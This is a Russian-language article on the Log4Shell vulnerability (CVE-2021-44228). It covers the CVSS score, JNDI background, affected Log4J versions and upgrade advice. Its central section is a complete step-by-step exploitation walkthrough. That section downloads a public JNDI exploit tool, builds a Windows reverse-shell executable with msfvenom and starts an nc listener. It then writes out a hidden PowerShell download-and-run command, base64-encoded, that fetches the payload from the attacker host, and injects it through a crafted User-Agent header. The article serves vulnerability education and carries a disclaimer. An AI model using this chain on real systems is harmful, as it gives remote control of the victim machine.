
Log4Shell (CVE-2021-44228): Описание, эксплуатация и смягчение последствий
9 декабря 2021 года мир узнал о новой уязвимости, связанной с Log4J. Оценка CVSSv3 (Common Vulnerability Scoring System) данной уязвимости была оценена в 10 баллов, что делает её критической (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
Её вектор CVSSv3 выглядит следующим образом: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Внесём ясность относительно значений, чтобы полностью понять причину такой оценки:
Log4J — это библиотека Java, ныне являющаяся частью Apache Software Foundation, которая позволяет отслеживать состояние приложения.
Это фактический стандарт для логирования Java-приложений.
Уязвимость основана на JNDI (Java Naming and Directory Interface) — Java API, которое позволяет приложению взаимодействовать с внешним службой каталогов (например, LDAP).
Взаимодействие происходит через функцию lookup в JNDI, которая, будучи включённой в конфигурации Log4J по умолчанию, позволяет взаимодействовать с удалённым сервером.
Несколько небольших уточнений, полезных для чтения:
10.0.0.110.0.0.2x8680, доступное по URL http://hackme.com| ❗ ВНИМАНИЕ ❗ |
|---|
| Описанная ниже техника атаки должна использоваться только для понимания реальной опасности рассматриваемой уязвимости. Автор дистанцируется от любого неправомерного использования данной статьи и осуждает его. |
Цель следующей атаки — использовать Log4Shell для загрузки и выполнения reverse shell в уязвимой системе, чтобы получить полный контроль над ней.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom, чтобы получить удалённый доступ к машине на порту 8888msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc на порту 8888, чтобы принять подключение от reverse shell, загруженной на уязвимую машинуnc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp и выполнить егоpowershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64 с помощью следующей командыecho 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
Результат предыдущей команды следующий:
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent посетителя. Атакующий отправляет запрос следующего вида:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
передаётся в Log4J, который интерпретирует её и через JNDI выполняет запрос к LDAP-серверу атакующего
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
Вредоносное ПО загружается и выполняется.
Атакующий получает shell машины на порту 8888.
Прежде всего следует напомнить, что это уязвимость, затрагивающая ТОЛЬКО программное обеспечение, использующее Java или его производные (и, очевидно, Log4J в качестве библиотеки логирования).
2.0-beta9 - 2.14.1: Версии, уязвимые к Log4Shell, варьируются от 2.0-beta9 до 2.14.1.2.15.0: Версия 2.15.0 Log4J была признана уязвимой. CVE-2021-45046. На данный момент оценка уязвимости — "9.0 Critical".2.16.0: Версия 2.16.0 Log4J была признана уязвимой. CVE-2021-45105. На данный момент оценка уязвимости — "7.5 High".Версия 1.x Log4J не является строго уязвимой к рассматриваемой уязвимости, но, помимо того что она была снята с поддержки в 2015 году, она подвержена следующей уязвимости: CVE-2021-4104.
Лучшее решение — обновить Log4J до версии 2.17.0.